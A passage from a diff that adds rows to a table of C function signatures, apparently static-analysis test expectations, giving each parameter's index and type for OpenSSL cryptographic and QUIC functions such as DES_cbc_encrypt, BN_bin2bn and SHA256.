*,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 0 | const unsigned char * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 1 | DES_cblock * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 2 | long | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 3 | DES_key_schedule * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 4 | const_DES_cblock * | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 0 | const unsigned char * | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 1 | DES_cblock[] | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 2 | long | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 3 | int | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 4 | DES_cblock * | | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 0 | const unsigned char * | | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 | IAtlStringMgr * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 0 | const unsigned char * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 1 | const int | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 2 | ARIA_KEY * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 0 | const unsigned char * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 1 | const int | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 2 | ARIA_KEY * | +| (const unsigned char *,hm_header_st *) | | dtls1_get_message_header | 0 | const unsigned char * | +| (const unsigned char *,hm_header_st *) | | dtls1_get_message_header | 1 | hm_header_st * | +| (const unsigned char *,int) | | Jim_GenHashFunction | 0 | const unsigned char * | +| (const unsigned char *,int) | | Jim_GenHashFunction | 1 | int | +| (const unsigned char *,int) | | OPENSSL_uni2asc | 0 | const unsigned char * | +| (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | int | +| (const unsigned char *,int) | | OPENSSL_uni2utf8 | 0 | const unsigned char * | +| (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 2 | BIGNUM * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 0 | const unsigned char * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 1 | int | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 2 | DSA * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 3 | unsigned int | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 4 | const char * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 5 | OSSL_LIB_CTX * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 6 | const char * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 0 | const unsigned char * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 1 | int | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 2 | EVP_CIPHER * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 3 | EVP_CIPHER * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 4 | OSSL_LIB_CTX * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 5 | const char * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 0 | const unsigned char * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 1 | int | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 2 | const BIGNUM * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 3 | const BIGNUM * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 4 | EC_KEY * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 0 | const unsigned char * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 1 | int | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 2 | const ECDSA_SIG * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 3 | EC_KEY * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 0 | const unsigned char * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 1 | int | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 2 | const unsigned char * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 3 | int | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 1 | int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 2 | unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 3 | unsigned int * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 1 | int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 2 | unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 3 | unsigned int * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 5 | unsigned int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 6 | const char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 7 | OSSL_LIB_CTX * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 8 | const char * | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 1 | int | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 2 | unsigned long * | +| (const unsigned char *,long) | | OPENSSL_buf2hexstr | 0 | const unsigned char * | +| (const unsigned char *,long) | | OPENSSL_buf2hexstr | 1 | long | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 0 | const unsigned char * | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 1 | long | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 2 | char | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 0 | const unsigned char * | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 1 | size_t | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 2 | QUIC_PN | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 3 | QUIC_PN * | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 1 | size_t | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 2 | size_t * | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 1 | size_t | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 1 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 2 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 3 | QUIC_CONN_ID * | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 0 | const unsigned char * | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 1 | size_t | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 2 | uint64_t * | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 2 | unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 2 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 2 | RC2_KEY * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 2 | const ARIA_KEY * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 2 | const BF_KEY * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 2 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 2 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 5 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 5 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 6 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 7 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 8 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 5 | const_DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 6 | const_DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 7 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 6 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 7 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 6 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 7 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 8 | int | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 4 | unsigned char * | +| (const 